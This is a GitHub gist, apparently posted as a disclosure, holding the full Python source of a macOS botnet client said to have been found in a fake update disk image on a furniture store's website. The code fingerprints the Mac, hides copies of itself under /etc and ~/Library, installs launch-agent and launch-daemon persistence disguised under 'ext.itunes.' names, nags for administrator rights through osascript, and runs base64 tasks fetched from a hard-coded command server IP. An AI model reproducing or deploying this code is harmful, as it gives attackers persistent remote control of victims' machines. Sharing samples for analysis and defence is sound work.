Last active
April 23, 2019 11:29
-
-
Save gwillem/7ac95a9dc90afbd106ab999ecd0e09a6 to your computer and use it in GitHub Desktop.
dfurniturestore.co.uk MacOS X botnet code -- found on https://dfurniturestore.co.uk/js/Update 04-19.dmg
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import pwd | |
import random | |
import string | |
import urllib, urllib2 | |
import json | |
import time | |
import sys | |
import base64 | |
import random | |
class Common: | |
@staticmethod | |
def id_generator(size=6, chars=string.ascii_lowercase + string.digits): | |
return ''.join(random.choice(chars) for _ in range(size)) | |
@staticmethod | |
def upper(): | |
response = """import os,time\nwhile(True):\n try:\n if(not(os.popen("ps aux | grep '[/]etc[/]mouse[.]py'").read().strip())):\n os.system('python /etc/mouse.py > /dev/null 2>&1 &')\n time.sleep(60)\n except:\n pass""" | |
return response | |
@staticmethod | |
def build(package_name, src, privileges): | |
if(privileges): | |
template = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.google.fonts</string><key>ProgramArguments</key><array><string>python</string><string>src.py</string><string>&</string></array><key>StandardErrorPath</key><string>/dev/null</string><key>StandardOutPath</key><string>/dev/null</string><key>RunAtLoad</key><true/></dict></plist>' | |
else: | |
template = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.google.fonts</string><key>ProgramArguments</key><array><string>python</string><string>src.py</string></array><key>LimitLoadToSessionType</key><string>Aqua</string><key>RunAtLoad</key><true/><key>ExitTimeOut</key><integer>0</integer><key>ProcessType</key><string>Interactive</string></dict></plist>' | |
return template.replace('com.google.fonts',package_name).replace('src.py',src) | |
class Info: | |
hwid = None | |
privileges = None | |
username = None | |
path = None | |
moved = None | |
package = None | |
def __init__(self): | |
self.hwid = self.GetHWID() | |
if(self.hwid!=None): | |
self.privileges = self.GetPrivileges() | |
self.username = self.GetUsername() | |
self.path = os.path.abspath(__file__) | |
self.moved = False | |
self.package = None | |
def GetHWID(self): | |
try: | |
result = os.popen("system_profiler SPHardwareDataType | awk '/UUID/ { print $3; }'").read().strip() | |
if(not(result)): | |
result = None | |
except: | |
result = None | |
return result | |
def GetPrivileges(self): | |
response = False | |
try: | |
filepath = '/etc/'+Common.id_generator()+'.mouse' | |
w_content = Common.id_generator(16) | |
w_handle = open(filepath,'w') | |
w_handle.write(w_content) | |
w_handle.close() | |
r_handle = open(filepath,'r') | |
r_content = r_handle.read() | |
r_handle.close() | |
if(r_content==w_content): | |
response = True | |
try: | |
os.remove(filepath) | |
except: | |
pass | |
except: | |
pass | |
return response | |
def GetUsername(self): | |
response = None | |
while(response==None or response=='root'): | |
try: | |
response = pwd.getpwuid(os.stat('/dev/console').st_uid)[0] | |
except: | |
pass | |
return response | |
class Mouse: | |
info = None | |
browsers = {} | |
url = 'http://217.8.117.144/' | |
uac = None | |
def __init__(self): | |
self.info = Info() | |
if(self.info.moved): | |
if(self.info.privileges): | |
if(self.info.path.find('/etc/')==0): | |
self.launch() | |
else: | |
self.move() | |
else: | |
self.launch() | |
else: | |
self.move() | |
def query(self, method, data = {}): | |
response = None | |
data['hwid'] = self.info.hwid | |
self.info.username = self.info.GetUsername() | |
data['username'] = self.info.username | |
data['privileges'] = self.info.privileges | |
if(data['hwid'] and data['username']): | |
while(response==None): | |
response = self.query_worker(method, data) | |
if(response==None): | |
time.sleep(random.randint(15,60)) | |
return response | |
def query_worker(self, method, data): | |
response = None | |
request = urllib2.Request(Mouse.url+method, data=urllib.urlencode(data)) | |
try: | |
response = urllib2.urlopen(request, timeout = 60).read().strip() | |
response = json.loads(response) | |
except Exception as e: | |
pass | |
return response | |
def move(self): | |
try: | |
if(self.info.privileges): | |
handle = open(self.info.path,'r') | |
content = handle.read() | |
handle.close() | |
dst_path = "/etc/mouse.py" | |
handle = open(dst_path,'w') | |
handle.write(content) | |
handle.close() | |
os.system("python "+dst_path) | |
else: | |
handle = open(self.info.path,'r') | |
content = handle.read().replace('self.moved ='+' False','self.moved = True') | |
handle.close() | |
dst_path = os.environ['HOME']+"/Library/Keyboard/"+Common.id_generator(2)+"-dynamic.py" | |
handle = open(dst_path,'w') | |
handle.write(content) | |
handle.close() | |
os.system("nohup python "+dst_path+" > /dev/null 2>&1 &") | |
sys.exit() | |
except: | |
pass | |
def launch(self): | |
if(self.info.hwid and self.info.username): | |
package_exists = self.check_package() | |
if(self.info.privileges): | |
self.check_upper() | |
else: | |
if(self.is_admin()): | |
if(package_exists): | |
while(True): | |
if(self.try_up()): | |
break | |
else: | |
for i in range(0,5): | |
if(self.try_up()): | |
break | |
self.main() | |
def check_upper(self): | |
filepath = '/etc/upper.py' | |
if(not(os.path.isfile(filepath))): | |
handle = open(filepath, 'w') | |
handle.write(Common.upper()) | |
handle.close() | |
full_package_name = 'ext.itunes.'+self.client_data['package_name'] | |
package_path = '/Library/LaunchDaemons/'+full_package_name+".plist" | |
handle = open(package_path, 'w') | |
handle.write(Common.build(full_package_name, filepath, self.info.privileges)) | |
handle.close() | |
os.system('launchctl load '+package_path) | |
try: | |
package_path = os.environ['HOME']+"/Library/LaunchAgents/"+full_package_name+'.plist' | |
os.remove(package_path) | |
except: | |
pass | |
response = True | |
return self | |
def check_package(self): | |
response = False | |
package_name = None | |
while(package_name==None): | |
try: | |
self.client_data = self.query('main/info') | |
package_name = self.client_data['package_name'] | |
except: | |
package_name = None | |
if(self.info.privileges): | |
response = True | |
else: | |
full_package_name = 'ext.itunes.'+package_name | |
package_path = os.environ['HOME']+"/Library/LaunchAgents/"+full_package_name+'.plist' | |
if(os.path.isfile(package_path)): | |
response = True | |
else: | |
handle = open(package_path, 'w') | |
handle.write(Common.build(full_package_name, self.info.path, self.info.privileges)) | |
handle.close() | |
return response | |
def is_admin(self): | |
response = False | |
try: | |
if('admin' in os.popen("groups "+self.info.username).read().strip().split(" ")): | |
response = True | |
except: | |
pass | |
return response | |
def try_up(self): | |
response = False | |
cmd_response = os.system("""osascript -e 'do shell script "python """+self.info.path+""" " with administrator privileges'""") | |
if(cmd_response==0): | |
response = True | |
try: | |
os.remove(self.info.path) | |
except: | |
pass | |
sys.exit() | |
return response | |
def main(self): | |
while(True): | |
try: | |
time.sleep(random.randint(61,127)) | |
data = self.query('main/tasks') | |
for task_handle in data['tasks']: | |
response = { | |
'response' : None, | |
'exception' : False, | |
} | |
try: | |
task_handle['code'] = base64.b64decode(task_handle['code']) | |
exec(task_handle['code']) | |
except Exception as e: | |
response['response'] = None | |
response['exception'] = True | |
try: | |
response['id'] = task_handle['id'] | |
response = json.dumps(response) | |
response = base64.b64encode(response) | |
self.query('main/resp',{'response':response}) | |
except: | |
pass | |
except: | |
pass | |
Mouse() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment